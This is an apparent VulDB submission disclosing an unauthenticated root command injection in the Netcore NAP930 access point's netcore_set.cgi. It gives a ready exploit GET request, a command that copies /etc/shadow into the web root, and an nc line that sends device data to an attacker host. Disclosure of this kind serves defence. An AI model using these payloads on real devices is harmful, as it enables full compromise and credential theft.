| タイトル | Netcore磊科 Router Firmware NAP930 V0.1.241010.141410 Command Injection |
|---|
| 説明 | An unauthenticated OS command injection vulnerability (CWE-78) was identified in the Netcore NAP930 WiFi 6 access point, firmware version V0.1.241010.141410 (OpenWrt 21.02-SNAPSHOT, mediatek/mt7981, aarch64 cortex-a53).
The vendor binary CGI /www/cgi-bin/cgi-bin-igd/netcore_set.cgi (29 KB stripped aarch64 ELF, the AP-side configuration surface of the vendor's AC management protocol) is reachable through uhttpd on ports 80/443/23355 and performs no session or authorization check of any kind. It reads the request from getenv("QUERY_STRING") (or fscanf(stdin) for POST), parses key=value pairs into a linked list applying ONLY percent-decoding (0x4045d8: %XX and '+', no character filtering), and reaches four system() sinks of the form:
sprintf(buf, "echo %s >/tmp/1.txt", value); system(buf); // lan_ip_set, 0x403c74
sprintf(buf, "echo %s >/tmp/location_time", value); system(buf); // location_time, 0x403b6c
// plus location_time_enable (0x403bfc) and led_off_on_status (0x403adc), gated by atoi(value)!=0
There is no quoting, filtering or validation between the parameter getter and the system() call, so shell metacharacters execute directly - no quote breakout is required. The only gate is popen("uci get auto_ac.auto_ac.para_by"), which passes when the value is empty or equals "old_ac"; factory-fresh devices have this UCI option unset, so the gate is open by default.
Exploitation is a single unauthenticated GET request (values are percent-decoded; %3B is ';', %09 is TAB used as word separator):
GET /cgi-bin/cgi-bin-igd/netcore_set.cgi?lan_ip_set=1%3Bid%3E/www/pwn.txt%3B HTTP/1.1
GET /pwn.txt -> uid=0(root) gid=0(root) groups=0(root)
The CGI may answer "Bad Gateway" because the injected system() child inherits the CGI stdout; the command has already executed - judge by the side effect, not the status. Arbitrary files can be exfiltrated (cat /etc/shadow >/www/pwn.txt) and outbound reverse channels work (nc <ATTACKER_IP> <PORT> </etc/banner), confirmed from an external Windows host receiving the device banner.
Impact: an unauthenticated LAN attacker executes arbitrary commands with root privileges - full device compromise, configuration and credential disclosure, flash persistence, and lateral movement into the managed network. Exploitation requires only that auto_ac.auto_ac.para_by is unset (factory default) or set to old_ac.
The vulnerability was dynamically verified against the firmware emulated with qemu-aarch64 user-mode emulation: strace captured the tainted call verbatim as sh -c "echo 1;id>/tmp/sv; >/tmp/1.txt" executing as root. |
|---|
| ソース | ⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/netcore_NAP930%20V0.1.241010.141410%20Router/NAP930_netcore_set_cgi_command_injection.md |
|---|
| ユーザー | yyycl (UID 100580) |
|---|
| 送信 | 2026年08月15日 12:35 (1 月 ago) |
|---|
| モデレーション | 2026年09月28日 20:32 (1 month later) |
|---|
| ステータス | 重複 |
|---|
| VulDBエントリ | 310234 [Netcore NBR200V2 迄 20250508 HTTP Header /usr/bin/routerd passwd_set pwd 特権昇格] |
|---|
| ポイント | 0 |
|---|